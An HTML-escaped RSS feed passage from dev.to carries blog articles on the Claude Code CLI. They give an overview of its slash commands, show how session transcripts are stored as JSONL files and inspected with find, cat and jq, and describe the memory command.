    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;local-command-caveat&amp;gt;Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.&amp;lt;/local-command-caveat&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isMeta"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.904Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;command-name&amp;gt;/clear&amp;lt;/command-name&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-message&amp;gt;clear&amp;lt;/command-message&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-args&amp;gt;&amp;lt;/command-args&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.901Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/memory&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Memory is an additional layer in Claude Codes context. It is intended to capture project-specific intricacies for improving work efficiency, for example corrections to errors, detailed build and test commands, or observations about high-level architecture. Claude keeps these memories automatically, and with this command, you gain access to its settings.&lt;/p&gt;

&lt;p&gt;When executed, a navigable terminal interface is rendered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/memory

──────────
Memory

    Auto-memory: on
    Auto-dream: off · never

  ❯ 1. User memory                      Saved &lt;span class="k"&gt;in&lt;/span&gt; ~/.claude/CLAUDE.md
    2. Project memory                   Checked &lt;span class="k"&gt;in &lt;/span&gt;at ./CLAUDE.md
    3. Open auto-memory folder
    4. Open code-improver agent memory  user scope

  Learn more: https://code.claude.com/docs/en/memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following options are available:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The points “User memory” and “Project memory” lead directly to the printed files.&lt;/li&gt;
&lt;li&gt;When the auto-memory option is enabled, and memory files generated at &lt;code&gt;~/-claude/projects/&amp;lt;id&amp;gt;/memory/&lt;/code&gt;, the option "Open auto-memory folder” opens this directory.&lt;/li&gt;
&lt;li&gt;The code-improver agent is a subagent invoked for refactoring code. Its user-scope file location is &lt;code&gt;~/.claude/agent‑memory/code‑improver/&lt;/code&gt;, and when invoking the fourth option, an editor for its memory file is opened.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, the auto-dream feature was just added in &lt;code&gt;claude code v2.1.92&lt;/code&gt;. It is a mechanism to reconcile fragmented memory files from user and project code, detects duplicate or contradicting entries, and cleans them up, the option toggle enables or disables this feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool for working on complex code bases. It offers more than 40 commands. Understanding their functions, and the scope in which they should be applied, is essential for effective work. In this blog article, commands from the session and context management groups were explored. For session management, you learned a) to run a sub-agent that works on a plan file, b) ask an additional question during a session that does not disrupt the main task, c) list all background tasks, d) create subtrees in long conversation histories, e) rewind to earlier stages, f) stop the current session immediately and g) resuming where you left off. And for context management, you learned a) view a graphical representation of the current context, b) compact the context, reducing what is being send to the LLM provider, c) clear the current context, and d) viewing and editing memory files, from project to user and code-improver agent scope, keeping important learnings as a permanent context.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 18 Jun 2026 06:02:40 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool that can execute commands on an installed computer. Its focus is coding, helping to implement programs from scratch, to add features, for bug fixing, and for refactoring of complex code bases.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, I systematically explore the CLI, slash commands, and use cases. This article presents a grouped overview of all available commands, scoping the typical session lifecycle and helping you understand when to use which command.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude02_session_configuration_and_reflection/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From this list, groups marked with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are Claude Code Sessions?
&lt;/h2&gt;

&lt;p&gt;Whenever the Claude Code CLI is invoked, a new session is created. On a high-level view, the user enters prompts, which are analyzed and processed to create internal tasks, such as checking/asking for permissions, suggesting and executing tools, and editing files. Each of these tasks is represented in the session history as a specific JSON document, with a unique type and attribute. Let’s investigate this in detail to learn about one part of Claude Code’s functionality.&lt;/p&gt;

&lt;p&gt;Here is an example of starting a new session in my universal-skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; claude

─── Claude Code v2.1.91 ────────────────────────────────────────────────╮
│                                       │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started      │
│            Welcome back!              │ Run /init to create a CLAUDE… │
│                                       │ ───────────────────────────── │
│               ▐▛███▜▌                 │ Recent activity               │
│              ▝▜█████▛▘                │ 1h ago   Parse @README.md     │
│                ▘▘ ▝▝                  │ 22h ago  Explain @Dockerfile  │
│                                       │ 22h ago  Explain the file @D… │
│  claude-haiku-4.5 · API Usage Billing │ /resume &lt;span class="k"&gt;for &lt;/span&gt;more              │
│             /opt/claude               │                               │
╰───────────────────────────────────────────────────────────────────────╯
❯ Parse @README.md
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll parse the README.md file for you.
  Read 1 file (ctrl+o to expand)

● Based on the README.md file, here'&lt;/span&gt;s what I found:
  README.md Analysis

  The README.md file contains minimal content:
  &lt;span class="c"&gt;# universal-skill-converter&lt;/span&gt;

  Summary:
  - The file contains only a title: &lt;span class="s2"&gt;"universal-skill-converter"&lt;/span&gt;
  - There are no additional descriptions, instructions, or content
  - The file appears to be essentially empty except &lt;span class="k"&gt;for &lt;/span&gt;the project title

  This suggests the project is either &lt;span class="k"&gt;in &lt;/span&gt;early stages or the README hasn&lt;span class="s1"&gt;'t been populated with detailed
  information yet.

Resume this session with:
claude --resume 67614647-7351-408e-88b8-2846dc62b860
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See the output when quitting the session – this is the session name. Let’s take a look at where it is stored in your local &lt;code&gt;~/.claude&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: I’m using the claude-code-container from my &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;previous article&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;2846dc62b860&lt;span class="k"&gt;*&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
/home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As can be seen, the complete session transcript is stored in the directory &lt;code&gt;~/.claude/projects/-opt-claude&lt;/code&gt;. The base name of this string is the current working directory, which defaults to &lt;code&gt;/opt/claude&lt;/code&gt; when using my container image. This file is a JSON document containing all interactions. Let’s take a look at the first items:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-15&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"permission-mode"&lt;/span&gt;,
  &lt;span class="s2"&gt;"permissionMode"&lt;/span&gt;: &lt;span class="s2"&gt;"default"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-04T09:37:47.285Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Items have a &lt;code&gt;type&lt;/code&gt; argument. The first messages in the session log represent system messages. Let’s see the other types, and narrow it down to the entered user message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.type'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
permission-mode
file-history-snapshot
user
user
user
file-history-snapshot
user
assistant
assistant
user
assistant
last-prompt
permission-mode
custom-title
agent-name
system
system
custom-title
agent-name
permission-mode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see the &lt;code&gt;user&lt;/code&gt; message for the first prompt. It contains a set of metadata about the session’s context (&lt;code&gt;parentUuid&lt;/code&gt;, &lt;code&gt;promptId&lt;/code&gt;, &lt;code&gt;uuid&lt;/code&gt;), invocation and version information (&lt;code&gt;version&lt;/code&gt;, &lt;code&gt;entrypoint&lt;/code&gt;,&lt;code&gt;cwd&lt;/code&gt;), and the message itself (&lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.content&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8d64d2af-615d-4cfe-8843-273de873d9da"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"promptId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"97fe3efe-e395-41b9-96aa-34497e529ca4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Parse @README.md"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:00.929Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissionMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="w"&gt;
